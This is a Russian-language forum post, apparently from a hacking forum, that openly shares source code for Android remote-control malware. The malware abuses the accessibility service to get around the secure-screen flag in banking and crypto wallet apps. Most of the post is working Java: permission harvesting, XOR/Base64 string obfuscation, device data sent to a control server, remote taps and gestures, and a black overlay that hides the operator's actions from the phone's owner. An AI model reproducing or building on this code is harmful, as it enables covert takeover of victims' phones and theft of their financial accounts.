Android Malware - VNC / Source Code

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Android Malware - VNC / Source Code - NMZ

Всем привет! Давно у меня был проект Android VNC на основе Accessibility Node для обхода флага Secure в Android.
Такой флаг обычно используется в банках и крипто-кошельках, например, в TrustWallet при входе в него.

Проект я тизерил уже давно и с тех пор, к сожалению, на него забил, но решил: почему он будет просто лежать мёртвым грузом, когда может кому-то помочь или дать вдохновение сделать что-то подобное? =) А я буду делать ещё более крутые проекты дальше.

Для начала распишу, что такое AccessibilityService в Android — в принципе для общего понимания.

Классы в этом пакете используются для представления контента экрана и изменений в нём, а также для API-запроса состояния глобальной доступности системы.

Доступность. Например, когда кнопка нажимается, фокусируется представление и т. д.

AccessibilityRecord содержит информацию об изменении состояния своего источника. Когда представление запускает событие доступности,
оно запрашивает у своего родителя отправку построенного события. Родитель может необязательно добавить для себя запись для предоставления большего контекста для обеспечения доступности. Следовательно, услуги доступности могут дополнять дополнительные записи доступности для улучшения обратной связи.

AccessibilityNodeInfo представляет узел содержимого окна, а также действия, которые могут быть запрошены из его источника. С точки зрения доступности, содержание окна представлено как Tree of Accessibility, которое может или не может сопоставляться один к одному с иерархией просмотра.
Другими словами, пользовательское представление может свободно сообщать о себе как о дереве информации об узле доступности.

Accessibility Manager — это служба системного уровня, которая служит диспетчерской для событий доступности и предоставляет средства для запроса состояния доступности системы. События доступности генерируются, когда что-то заметное происходит в пользовательском интерфейсе, например,
начинается активность, меняется фокус или выбор представления и т. д. Стороны, заинтересованные в обработке событий доступности, реализуют и регистрируют службу доступности, которая расширяет доступность.

Можете почитать, глянуть:
/reference/android/view/accessibility/AccessibilityNodeInfo
/reference/android/view/accessibility/package-summary


Вкратце: при помощи Accessibility мы можем получать координаты элементов на экране и производить клики по ним.

Вот небольшой пример кода:

Java: Скопировать в буфер обмена
Код:
AccessibilityNodeInfo rootNode = getRootInActiveWindow();
if (rootNode != null) {
    traverseNode(rootNode);
    rootNode.recycle();
}

private void traverseNode(AccessibilityNodeInfo node) {
    if (node == null) return;

    Rect bounds = new Rect();
    node.getBoundsInScreen(bounds);
    
    Log.d("Accessibility", "Element: " + node.getClassName() +
            " Bounds: " + bounds.toString());

    for (int i = 0; i < node.getChildCount(); i++) {
        traverseNode(node.getChild(i));
    }
}

Но AccessibilityNodeInfo может передавать нам только «сухие» координаты элементов, а это значит, что нам нужно будет отрисовывать их вручную. Это, конечно, не самое приятное занятие, но что ж поделать (а поделать, кстати, есть что, помимо «сухой» отрисовки).

Поэтому мы будем отрисовывать все элементы вручную на основании данных, которые нам передаёт AccessibilityNodeInfo.

getRootInActiveWindow() - получает корневой узел иерархии элементов.
Метод traverseNode() - рекурсивно проходит по всем узлам.
В getBoundsInScreen() - извлекаются координаты каждого элемента.

На выходе мы получим элементы и их координаты:

Код: Скопировать в буфер обмена
Код:
Element: android.widget.Button Bounds: Rect(100, 200 - 300, 400)
Element: android.widget.TextView Bounds: Rect(50, 500 - 250, 600)
Element: android.widget.EditText Bounds: Rect(150, 700 - 450, 850)


и потом мы можем передать координаты в AccessibilityService и выполнить клик по нужному нам элементу
пример:

Java: Скопировать в буфер обмена
Код:
Path path = new Path();
path.moveTo(bounds.centerX(), bounds.centerY());
GestureDescription.Builder builder = new GestureDescription.Builder();
builder.addStroke(new GestureDescription.StrokeDescription(path, 0, 100));
dispatchGesture(builder.build(), null, null);


Думаю, можно перейти от теории к практике, и для начала нам нужно определить разрешения в AndroidManifest.xml:

XML: Скопировать в буфер обмена
Код:
<uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE" /> //наш ac =)

<uses-permission android:name="android.permission.INTERNET" />

<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />

<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />

<uses-permission android:name="android.permission.WAKE_LOCK" />

<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS" /> //желательно


Также нужно создать Service, который будет работать у нас как FOREGROUND_SERVICE, и указать его в манифесте. В моём случае это «MyAccessibilityService» .

XML: Скопировать в буфер обмена
Код:
<service
            android:name=".MyAccessibilityService"
            android:enabled="true"
            android:exported="true"
            android:foregroundServiceType="dataSync"
            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
            <intent-filter>
                <action android:name="android.accessibilityservice.AccessibilityService" />
            </intent-filter>

            <meta-data
                android:name="android.accessibilityservice"
                android:resource="@xml/accessibility_service_config" />
        </service>


Тут важно не забыть указать тип фоновой активности. В моём случае это «dataSync».

Перейдём для начала к коду MainActivity.java. (К названиям переменных и классов не присматривайтесь — я изначально этот проект вообще не планировал в статью превращать.)

Отсюда мы будем запрашивать разрешения и запускать нашу фоновую активность.
Для начала определим константы разрешений:

Java: Скопировать в буфер обмена
Код:
private static final int USAGE_STATS_PERMISSION_REQUEST = 100;
private static final int SYSTEM_ALERT_WINDOW_PERMISSION_REQUEST = 101;
private static final int BATTERY_OPTIMIZATION_REQUEST = 103;

Затем запрашиваем и проверяем разрешения и запускаем нашу активность (полный код MainActivity.java):

Java: Скопировать в буфер обмена
Код:
package xss.nmz.nmz;

import android.app.AppOpsManager;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.os.PowerManager;
import android.provider.Settings;
import android.widget.Toast;

import androidx.annotation.Nullable;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;

import android.Manifest;
import android.content.pm.PackageManager;

public class MainActivity extends AppCompatActivity {

    private static final int USAGE_STATS_PERMISSION_REQUEST = 100;
    private static final int SYSTEM_ALERT_WINDOW_PERMISSION_REQUEST = 101;
    private static final int BATTERY_OPTIMIZATION_REQUEST = 103;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);


       // a5x40G
        if (!isAccessibilityServiceEnabled()) {
            requestAccessibilityPermission();
        }

        if (!hasUsageStatsPermission()) {
            requestUsageStatsPermission();
        }

        if (!Settings.canDrawOverlays(this)) {
            requestOverlayPermission();
        }

        if (!isBatteryOptimizationEnabled()) {
            requestBatteryOptimizationPermission();
        }

        if (isAccessibilityServiceEnabled() && hasUsageStatsPermission()
                && Settings.canDrawOverlays(this) && hasInternetPermission()
                && isBatteryOptimizationEnabled()) {

            startService(new Intent(this, MyAccessibilityService.class)); //запускаем сервис
            Toast.makeText(this, a5x40G.allax("FDclSEsmPSREVDwgPw1rMCYwRFswdBVZWScgI0k="), Toast.LENGTH_SHORT).show();//Accessibility Service Started
        } else {
            Toast.makeText(this, a5x40G.allax("BTgjTEswdCFfWTsgZkxUOXQ0SEkgPTRIXHUkI19VPCc1RFc7J2g="), Toast.LENGTH_LONG).show();//Please grant all required permissions
        }
    }

    private boolean isAccessibilityServiceEnabled() {
        String enabledServices = Settings.Secure.getString(
                getContentResolver(), Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES);
        if (enabledServices == null) {
            return false;
        }
        return enabledServices.contains(getPackageName());
    }

    private void requestAccessibilityPermission() {
        Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
        startActivity(intent);
        Toast.makeText(this, a5x40G.allax("BTgjTEswdCNDWTc4Iw1MPTFmTFs2MTVeUTc9KkRMLHQ1SEojPSVIFg=="), Toast.LENGTH_LONG).show();
    }

    private boolean hasUsageStatsPermission() {
        AppOpsManager appOpsManager = (AppOpsManager) getSystemService(Context.APP_OPS_SERVICE);
        int mode = appOpsManager.checkOpNoThrow(AppOpsManager.OPSTR_GET_USAGE_STATS,
                android.os.Process.myUid(), getPackageName());
        return mode == AppOpsManager.MODE_ALLOWED;
    }

    private void requestUsageStatsPermission() {
        Intent intent = new Intent(Settings.ACTION_USAGE_ACCESS_SETTINGS);
        startActivityForResult(intent, USAGE_STATS_PERMISSION_REQUEST);
    }

    private void requestOverlayPermission() {
        Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
                Uri.parse(a5x40G.allax("JTUlRlkyMXw=") + getPackageName()));
        startActivityForResult(intent, SYSTEM_ALERT_WINDOW_PERMISSION_REQUEST);
    }

    private boolean hasInternetPermission() {
        return ContextCompat.checkSelfPermission(this, Manifest.permission.INTERNET) == PackageManager.PERMISSION_GRANTED;
    }

    private boolean isBatteryOptimizationEnabled() {
        PowerManager powerManager = (PowerManager) getSystemService(Context.POWER_SERVICE);
        return powerManager != null && powerManager.isIgnoringBatteryOptimizations(getPackageName());
    }

    private void requestBatteryOptimizationPermission() {
        Intent intent = new Intent(Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS,
                Uri.parse(a5x40G.allax("JTUlRlkyMXw=") + getPackageName()));
        startActivityForResult(intent, BATTERY_OPTIMIZATION_REQUEST);
    }

    @Override
    protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
        super.onActivityResult(requestCode, resultCode, data);

        if (requestCode == USAGE_STATS_PERMISSION_REQUEST) {
            if (hasUsageStatsPermission()) {
                Toast.makeText(this, a5x40G.allax("ACcnSl11BzJMTCZ0FkhKOD01XlE6OmZKSjQ6Mkhc"), Toast.LENGTH_SHORT).show();
            } else {
                Toast.makeText(this, a5x40G.allax("ACcnSl11BzJMTCZ0FkhKOD01XlE6OmZJXTs9I0k="), Toast.LENGTH_SHORT).show();
            }
        }

        if (requestCode == SYSTEM_ALERT_WINDOW_PERMISSION_REQUEST) {
            if (Settings.canDrawOverlays(this)) {
                Toast.makeText(this, a5x40G.allax("GiIjX1Q0LWZ9XSc5L15LPDsoDV8nNShZXTE="), Toast.LENGTH_SHORT).show();
            } else {
                Toast.makeText(this, a5x40G.allax("GiIjX1Q0LWZ9XSc5L15LPDsoDVwwOi9IXA=="), Toast.LENGTH_SHORT).show();
            }
        }

        if (requestCode == BATTERY_OPTIMIZATION_REQUEST) {
            if (isBatteryOptimizationEnabled()) {
                Toast.makeText(this, a5x40G.allax("FzUyWV0nLWZiSCE9K0RCNCAvQlZ1MC9eWTc4I0k="), Toast.LENGTH_SHORT).show();
            } else {
                Toast.makeText(this, a5x40G.allax("FzUyWV0nLWZiSCE9K0RCNCAvQlZ1JzJEVDl0I0NZNzgjSQ=="), Toast.LENGTH_SHORT).show();
            }
        }

    }
}


Тут вы можете заметить, что строки зашифрованы: а класс a5x40G.java дешифрует их, а метод allax возвращает обратно дешифрованный текст.
Вот код a5x40G.java для дешифровки строк:

Java: Скопировать в буфер обмена
Код:
package xss.nmz.nmz;
import android.util.Base64;
import java.io.UnsupportedEncodingException;

public final class a5x40G {
    public static String allax(String str) {
        return new a5x40G().pidor(str, "UTF-8");
    }

    private static byte[] gandon(byte[] bArr, String str) {
        int length = bArr.length;
        int length2 = str.length();
        int i = 0;
        int i2 = 0;
        while (i < length) {
            if (i2 >= length2) {
                i2 = 0;
            }
            bArr[i] = (byte) (bArr[i] ^ str.charAt(i2));
            i++;
            i2++;
        }
        return bArr;
    }

    public String pidor(String str, String str2) {
        try {
            return new String(gandon(Base64.decode(str, 2), str2), "UTF-8");
        } catch (UnsupportedEncodingException unused) {
            return new String(gandon(Base64.decode(str, 2), str2));
        }
    }
}

Также совсем забыл упомянуть о необходимости импортировать библиотеку OkHttp в build.gradle:

implementation 'com.squareup.okhttp3:okhttp:4.9.1'

Теперь перейдём к самому коду MyAccessibilityService.java, в котором и происходят чудеса (черная магия).

Для начала запускаем наш FOREGROUND_SERVICE и создаем NotificationChannel:

Java: Скопировать в буфер обмена
Код:
 private void startForegroundService() {
        createNotificationChannel();

        Intent notificationIntent = new Intent(this, MyAccessibilityService.class);
        PendingIntent pendingIntent = PendingIntent.getActivity(this, 0, notificationIntent, PendingIntent.FLAG_IMMUTABLE | PendingIntent.FLAG_UPDATE_CURRENT);

        Notification notification = new NotificationCompat.Builder(this, CHANNEL_ID)
                .setContentTitle("Accessibility Service Active")
                .setContentText("Monitoring device activity...")
                .setSmallIcon(android.R.drawable.ic_menu_info_details)
                .setContentIntent(pendingIntent)
                .setCategory(Notification.CATEGORY_SERVICE)
                .setOngoing(true)
                .build();

        startForeground(NOTIFICATION_ID, notification);
    }


    private void createNotificationChannel() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            CharSequence name = "Accessibility Service Channel";
            String description = "Channel for Accessibility Service foreground notification";
            int importance = NotificationManager.IMPORTANCE_LOW;
            NotificationChannel channel = new NotificationChannel(CHANNEL_ID, name, importance);
            channel.setDescription(description);
            channel.setShowBadge(false);

            NotificationManager notificationManager = getSystemService(NotificationManager.class);
            if (notificationManager != null) {
                notificationManager.createNotificationChannel(channel);
            }
        }
    }


Затем передаём на сервер данные о разрешении для правильной отрисовки:
Java: Скопировать в буфер обмена
Код:
private void sendResolution() {
        int width = Resources.getSystem().getDisplayMetrics().widthPixels;
        int height = Resources.getSystem().getDisplayMetrics().heightPixels;
        byte[] payload = concatenate(intToBytes(width), intToBytes(height));
        byte[] header = concatenate(intToBytes(MSG_TYPE_RESOLUTION), intToBytes(payload.length));
        byte[] message = concatenate(header, payload);

        enqueueMessage(message);

        Log.d("CommunicationThread", "Resolution sent: " + width + "x" + height);
    }


Передаём краткую информацию об устройстве (android_version, manufacturer, model, battery_level) на сервер:

Java: Скопировать в буфер обмена
Код:
rivate void sendClientInfo() {
        try {
            String androidVersion = android.os.Build.VERSION.RELEASE;
            String manufacturer = android.os.Build.MANUFACTURER;
            String model = android.os.Build.MODEL;
            int batteryLevel = getBatteryLevel();

            JSONObject clientInfoJsonObj = new JSONObject();
            clientInfoJsonObj.put("android_version", androidVersion);
            clientInfoJsonObj.put("manufacturer", manufacturer);
            clientInfoJsonObj.put("model", model);
            clientInfoJsonObj.put("battery_level", batteryLevel);

            byte[] payload = clientInfoJsonObj.toString().getBytes(StandardCharsets.UTF_8);
            byte[] header = concatenate(intToBytes(MSG_TYPE_CLIENT_INFO), intToBytes(payload.length));
            byte[] message = concatenate(header, payload);

            enqueueMessage(message);

            Log.d("CommunicationThread", "Client info sent: " + clientInfoJsonObj.toString());
            
            synchronized (clientDataLock) {
                clientDataJson.getJSONObject("client_info").put("android_version", androidVersion);
                clientDataJson.getJSONObject("client_info").put("manufacturer", manufacturer);
                clientDataJson.getJSONObject("client_info").put("model", model);
                clientDataJson.getJSONObject("client_info").put("battery_level", batteryLevel);
                saveClientDataToFile();
            }

        } catch (Exception e) {
            Log.e("CommunicationThread", "Error sending client info: " + e.getMessage());
        }
    }


    private int getBatteryLevel() {
        IntentFilter ifilter = new IntentFilter(Intent.ACTION_BATTERY_CHANGED);
        Intent batteryStatus = registerReceiver(null, ifilter);
        if (batteryStatus != null) {
            int level = batteryStatus.getIntExtra(BatteryManager.EXTRA_LEVEL, -1);
            int scale = batteryStatus.getIntExtra(BatteryManager.EXTRA_SCALE, -1);
            if (level >= 0 && scale > 0) {
                return (int) ((level / (float) scale) * 100);
            }
        }
        return -1;
    }

getBatteryLevel требует дополнительного разрешения, и в связи с этим вам решать, нужно ли это вам или нет.

Не буду заострять особого внимания на коде общения между сервером и клиентом, а хочу заострить ваше внимание на отрисовке элементов на основе данных Accessibility Node и осуществлении кликов по ним — и ещё на жестах ⚙️

Код отрисовки элементов.

Java: Скопировать в буфер обмена
Код:
 private void drawElementBordersAndLabels(AccessibilityNodeInfo node, Canvas canvas, Paint borderPaint, Paint textPaint) {
        if (node == null) return;

        Rect bounds = new Rect();
        node.getBoundsInScreen(bounds);
        
        boolean isCircular = isNodeCircular(node);

        RectF roundedBounds = new RectF(bounds);
        float cornerRadius = isCircular ? Math.min(bounds.width(), bounds.height()) / 2f : 20f;

        boolean isHighlighted = false;
        synchronized (clickedNodesLock) {
            for (ClickedNode clickedNode : clickedNodes) {
                if (clickedNode.node.equals(node)) {
                    isHighlighted = true;
                    break;
                }
            }
        }
        
        borderPaint.setColor(isHighlighted ? Color.BLUE : Color.RED);
        borderPaint.setStyle(Paint.Style.STROKE);
        borderPaint.setStrokeWidth(5f);
        borderPaint.setAntiAlias(true);


        borderPaint.setShadowLayer(10f, 0f, 0f, Color.BLACK);


        if (isCircular) {
            float radius = Math.min(bounds.width(), bounds.height()) / 2f;
            float cx = bounds.left + bounds.width() / 2f;
            float cy = bounds.top + bounds.height() / 2f;
            canvas.drawCircle(cx, cy, radius, borderPaint);
        } else {
            canvas.drawRoundRect(roundedBounds, cornerRadius, cornerRadius, borderPaint);
        }


        CharSequence label = node.getText();
        if (label == null) {
            label = node.getContentDescription();
        }

        if (label != null) {
            String labelText = label.toString();
            float maxWidth = bounds.width() - 20;
            float maxHeight = bounds.height() - 20;


            float fittedTextSize = adjustTextSize(labelText, textPaint, maxWidth, maxHeight);
            textPaint.setTextSize(fittedTextSize);
            textPaint.setAntiAlias(true);


            Rect textBounds = new Rect();
            textPaint.getTextBounds(labelText, 0, labelText.length(), textBounds);
            float textWidth = textPaint.measureText(labelText);
            float textHeight = textBounds.height();


            float textX = bounds.left + (bounds.width() - textWidth) / 2f;
            float textY = bounds.top + (bounds.height() + textHeight) / 2f;


            Paint textBackgroundPaint = new Paint();
            textBackgroundPaint.setColor(Color.BLACK);
            textBackgroundPaint.setStyle(Paint.Style.FILL);
            textBackgroundPaint.setAlpha(150);
            textBackgroundPaint.setAntiAlias(true);

            float padding = 8f;
            canvas.drawRoundRect(textX - padding, textY - textHeight - padding, textX + textWidth + padding, textY + padding, 10f, 10f, textBackgroundPaint);


            textPaint.setColor(Color.WHITE);
            textPaint.setShadowLayer(5f, 2f, 2f, Color.BLACK);
            canvas.drawText(labelText, textX, textY, textPaint);


            textPaint.setTextSize(30);
        }

        for (int i = 0; i < node.getChildCount(); i++) {
            AccessibilityNodeInfo child = node.getChild(i);
            drawElementBordersAndLabels(child, canvas, borderPaint, textPaint);
            if (child != null) {
                child.recycle();
            }
        }
    }


    private float adjustTextSize(String text, Paint paint, float maxWidth, float maxHeight) {
        float originalSize = paint.getTextSize();
        float textSize = originalSize;

        paint.setTextSize(textSize);
        Rect bounds = new Rect();
        paint.getTextBounds(text, 0, text.length(), bounds);


        while ((bounds.width() > maxWidth || bounds.height() > maxHeight) && textSize > 10f) {
            textSize -= 1f;
            paint.setTextSize(textSize);
            paint.getTextBounds(text, 0, text.length(), bounds);
        }
        if (textSize < originalSize * 0.5f) {

            textSize = originalSize * 0.8f;
            while (paint.measureText(text + "...") > maxWidth && text.length() > 1) {
                text = text.substring(0, text.length() - 1);
            }
            text = text + "...";
        }


        paint.setTextSize(textSize);

        return textSize;
    }


    private boolean isNodeCircular(AccessibilityNodeInfo node) {

        Rect bounds = new Rect();
        node.getBoundsInScreen(bounds);
        return bounds.width() == bounds.height();
    }

 private Bitmap captureScreenWithAllElementBorders(AccessibilityNodeInfo rootNode) {
        windowManager = (WindowManager) getSystemService(Context.WINDOW_SERVICE);
        if (windowManager == null) {
            Log.e("MyAccessibilityService", "WindowManager is null, cannot capture screen.");
            return null;
        }

        DisplayMetrics metrics = new DisplayMetrics();
        windowManager.getDefaultDisplay().getRealMetrics(metrics);

        int screenWidth = metrics.widthPixels;
        int screenHeight = metrics.heightPixels;

        Bitmap screenshot = Bitmap.createBitmap(screenWidth, screenHeight, Bitmap.Config.ARGB_8888);
        Canvas canvas = new Canvas(screenshot);

        Paint borderPaint = new Paint();
        borderPaint.setStyle(Paint.Style.STROKE);
        borderPaint.setStrokeWidth(5);
        borderPaint.setAntiAlias(true);

        Paint textPaint = new Paint();
        textPaint.setColor(Color.WHITE);
        textPaint.setTextSize(30);
        textPaint.setStyle(Paint.Style.FILL);
        textPaint.setAntiAlias(true);

        drawStatusBar(canvas);
        drawElementBordersAndLabels(rootNode, canvas, borderPaint, textPaint);

        if (isKeyboardVisible()) {
            int keyboardHeight = getKeyboardHeight();
            Paint keyboardPaint = new Paint();
            int semiTransparentGray = Color.argb(128, 128, 128, 128);
            keyboardPaint.setColor(semiTransparentGray);
            keyboardPaint.setStyle(Paint.Style.FILL);
            canvas.drawRect(0, screenHeight - keyboardHeight, screenWidth, screenHeight, keyboardPaint);

            Paint labelPaint = new Paint();
            labelPaint.setColor(Color.BLACK);
            labelPaint.setTextSize(40);
            labelPaint.setStyle(Paint.Style.FILL);
            labelPaint.setAntiAlias(true);
            String keyboardLabel = "Keyboard";
            float textWidth = labelPaint.measureText(keyboardLabel);
            float textX = (screenWidth - textWidth) / 2;
            float textY = screenHeight - (keyboardHeight / 2);
            canvas.drawText(keyboardLabel, textX, textY, labelPaint);
        }

        synchronized (clickedNodesLock) {
            long currentTime = System.currentTimeMillis();
            clickedNodes.removeIf(node -> currentTime - node.timestamp > 1000);
        }

        return screenshot;
    }

Метод adjustTextSize помогает в отрисовке длинных текстов, когда он вылезает за рамки.
Метод isNodeCircular проверяет, является ли объект круглым, чтобы скруглить его впоследствии при отрисовке.

Отрисовка происходит на самом телефоне, что является, ну, совсем не очень хорошим решением - гораздо правильнее будет отрисовывать всё это на стороне сервера на основе данных Accessibility Node, которые мы передаём на него.

Почему это проблема? — Телефон в фоновом режиме тратит ресурсы, которые так и жаждет убить Android (https://dontkillmyapp.com - от такого даже мужик заплачет) , также это существенно сказывается на скорости передачи данных, так как мы передаём уже отрисованные данные.

Ну ладно, идём дальше по отрисовке:

Java: Скопировать в буфер обмена
Код:
private void drawStatusBar(Canvas canvas) {
        Paint statusBarPaint = new Paint();
        statusBarPaint.setColor(Color.BLACK);
        statusBarPaint.setStyle(Paint.Style.FILL);
        statusBarPaint.setTextSize(40);
        statusBarPaint.setAntiAlias(true);

        String time = DateFormat.format("HH:mm", new java.util.Date()).toString();

        IntentFilter ifilter = new IntentFilter(Intent.ACTION_BATTERY_CHANGED);
        Intent batteryStatus = registerReceiver(null, ifilter);
        int level = batteryStatus != null ? batteryStatus.getIntExtra(BatteryManager.EXTRA_LEVEL, -1) : -1;
        int scale = batteryStatus != null ? batteryStatus.getIntExtra(BatteryManager.EXTRA_SCALE, -1) : -1;
        int batteryPct = (int) ((level / (float) scale) * 100);

        String currentApp = getForegroundApp();

        try {
            synchronized (clientDataLock) {
                clientDataJson.put("app_opened", currentApp);
                saveClientDataToFile();
            }
        } catch (Exception e) {
            Log.e("MyAccessibilityService", "Error updating app_opened in JSON: " + e.getMessage());
        }
        
        canvas.drawRect(0, 0, 1080, 100, statusBarPaint);
        statusBarPaint.setColor(Color.WHITE);
        canvas.drawText("Time: " + time + " | Battery: " + batteryPct + "% | App: " + currentApp, 30, 70, statusBarPaint);
    }

Также какой VNC на Android без BlackScreen? Я тоже так подумал и добавил это, но идей, кроме как наложить оверлей, не было, в связи с этим вот так:

Java: Скопировать в буфер обмена
Код:
private void handleToggleBlankScreen(byte[] payload) {
        if (payload.length != 1) {
            Log.e("CommunicationThread", "Invalid payload");
            return;
        }

        boolean shouldBlankScreen = payload[0] != 0;
        handler.post(() -> {
            if (shouldBlankScreen) {
                showBlankOverlay();
                isScreenBlank = true;
                Log.d("MyAccessibilityService", "Screen black.");//https://en.wikipedia.org/wiki/Men_in_Black_(1997_film)
            } else {
                hideBlankOverlay();
                isScreenBlank = false;
                Log.d("MyAccessibilityService", "Screen white.");
            }
        });
    }


    private void showBlankOverlay() {
        if (blankOverlayView != null) return;

        windowManager = (WindowManager) getSystemService(WINDOW_SERVICE);
        blankOverlayView = new View(this);
        blankOverlayView.setBackgroundColor(Color.BLACK);

        WindowManager.LayoutParams params = new WindowManager.LayoutParams(
                WindowManager.LayoutParams.MATCH_PARENT,
                WindowManager.LayoutParams.MATCH_PARENT,
                WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY,
                WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE,
                PixelFormat.OPAQUE
        );

        params.gravity = Gravity.TOP | Gravity.LEFT;

        handler.post(() -> {
            if (windowManager != null && blankOverlayView != null) {
                windowManager.addView(blankOverlayView, params);
            }
        });
    }


    private void hideBlankOverlay() {
        if (blankOverlayView != null && windowManager != null) {
            handler.post(() -> {
                try {
                    windowManager.removeView(blankOverlayView);
                } catch (Exception e) {
                    Log.e("MyAccessibilityService", "Error removing blank overlay: " + e.getMessage());
                }
                blankOverlayView = null;
            });
        }
    }
С отрисовкой на этом пока все.

Осуществляем клики и жесты (реализовано по точкам, через которые проходим для осуществления жеста:
Java: Скопировать в буфер обмена
Код:
private void performClick(int x, int y) {
        hideTouchOverlay();

      
        handler.postDelayed(() -> {
            
            DisplayMetrics metrics = new DisplayMetrics();
            if (windowManager != null) {
                windowManager.getDefaultDisplay().getMetrics(metrics);
            }
            int screenWidth = metrics.widthPixels;
            int screenHeight = metrics.heightPixels;

            if (x < 0 || x > screenWidth || y < 0 || y > screenHeight) {
                Log.e("ClickAccessibilityService", "Coordinates out of screen bounds: (" + x + ", " + y + ")");
            
                showTouchOverlay();
                return;
            }

            Path clickPath = new Path();
            clickPath.moveTo(x, y);
            clickPath.lineTo(x + 1, y + 1);

            GestureDescription.StrokeDescription stroke = new GestureDescription.StrokeDescription(clickPath, 0, 200);
            GestureDescription gesture = new GestureDescription.Builder().addStroke(stroke).build();

            boolean dispatched = dispatchGesture(gesture, new GestureResultCallback() {
                @Override
                public void onCompleted(GestureDescription gestureDescription) {
                    super.onCompleted(gestureDescription);
                    Log.d("ClickAccessibilityService", "Click gesture completed at: (" + x + ", " + y + ")");
                    showTouchOverlay();
                }

                @Override
                public void onCancelled(GestureDescription gestureDescription) {
                    super.onCancelled(gestureDescription);
                    Log.e("ClickAccessibilityService", "Click gesture cancelled at: (" + x + ", " + y + ")");
                    showTouchOverlay();
                }
            }, handler);

            if (!dispatched) {
                Log.e("ClickAccessibilityService", "Failed to dispatch gesture.");
              
                showTouchOverlay();
            }
        }, 100);
    }

    private void performGesture(Path gesturePath, int total_duration) {
        RectF bounds = new RectF();
        gesturePath.computeBounds(bounds, true);
        if (bounds.isEmpty()) {
            Log.e("GestureAccessibilityService", "Attempted to perform an empty gesture.");
            return;
        }

        GestureDescription.Builder gestureBuilder = new GestureDescription.Builder();
        gestureBuilder.addStroke(new GestureDescription.StrokeDescription(gesturePath, 0, total_duration));
        GestureDescription gesture = gestureBuilder.build();

        boolean dispatched = dispatchGesture(gesture, new GestureResultCallback() {
            @Override
            public void onCompleted(GestureDescription gestureDescription) {
                super.onCompleted(gestureDescription);
                Log.d("GestureAccessibilityService", "Gesture performed successfully.");
            }

            @Override
            public void onCancelled(GestureDescription gestureDescription) {
                super.onCancelled(gestureDescription);
                Log.e("GestureAccessibilityService", "Gesture was cancelled.");
            }
        }, handler);

        if (!dispatched) {
            Log.e("GestureAccessibilityService", "Failed to dispatch gesture.");
        } else {
            Log.d("GestureAccessibilityService", "Dispatched gesture with duration: " + total_duration + " ms");
        }

      
        try {
            synchronized (clientDataLock) {
                JSONObject gestureInfo = new JSONObject();
                JSONArray pointsArray = new JSONArray();
              
                gestureInfo.put("total_duration", total_duration);
                gestureInfo.put("num_points", total_duration);
                clientDataJson.getJSONArray("user_touches").put(gestureInfo);
                saveClientDataToFile();
            }
        } catch (Exception e) {
            Log.e("MyAccessibilityService", "Error updating user_touches with gesture: " + e.getMessage());
        }
    }

    private void handleGesture(byte[] payload) {
        if (payload.length < 8) {
            Log.e("CommunicationThread", "Invalid gesture payload length.");
            return;
        }

        int offset = 0;
        int total_duration = bytesToInt(payload, offset);
        offset += 4;
        int num_points = bytesToInt(payload, offset);
        offset += 4;

        if (num_points <= 0 || payload.length < 8 + num_points * 8) {
            Log.e("CommunicationThread", "Invalid gesture payload.");
            return;
        }

        Path gesturePath = new Path();
        for (int i = 0; i < num_points; i++) {
            int x = bytesToInt(payload, offset);
            offset += 4;
            int y = bytesToInt(payload, offset);
            offset += 4;
            if (i == 0) {
                gesturePath.moveTo(x, y);
            } else {
                gesturePath.lineTo(x, y);
            }
        }

        RectF bounds = new RectF();
        gesturePath.computeBounds(bounds, true);
        if (bounds.isEmpty()) {
            Log.e("GestureAccessibilityService", "Constructed gesture path is empty.");
            return;
        }

        handler.post(() -> performGesture(gesturePath, total_duration));
    }

В итоге с отрисовки мы получаем такой вот интерфейс, я бы даже сказал, вполне себе симпатичный, учитывая то, из чего мы его отрисовали.
1742313019324.png

1742313038765.png


Второй скрин старый там еще не работает определение открытого приложения в данный момент.

Также в начале я говорил, что можно отрисовывать интерфейс иначе и вообще пойти другим путём?
Да, это так и есть - есть несколько других более интересных вариантов, например MediaProjection API.
Возможно, тоже напишу небольшую статейку по этому делу.

Ну а на этом, думаю, можно заканчивать, ибо, в принципе, я поведал, как это дело работает, хотя и в не самом лучшем исполнении.

Думаю, что больше дорабатывать проект никак не буду и на днях скину полные сурсы, готовые к сборке, если эта «вундервафля», конечно, будет интересна. Дайте знать, если это так, друзья.

На все вопросы с радостью отвечу, критику приму к сведению. К сожалению, тут есть много чего, что можно покритиковать с точки зрения кода, и я это понимаю — проект уже давно лежит на полочке.
Спойлер: Генератор мусора
1742313194751.png

1742313213624.png


Всех благодарю за прочтение :smile10:

View hidden content is available for registered users!
 
Сверху Снизу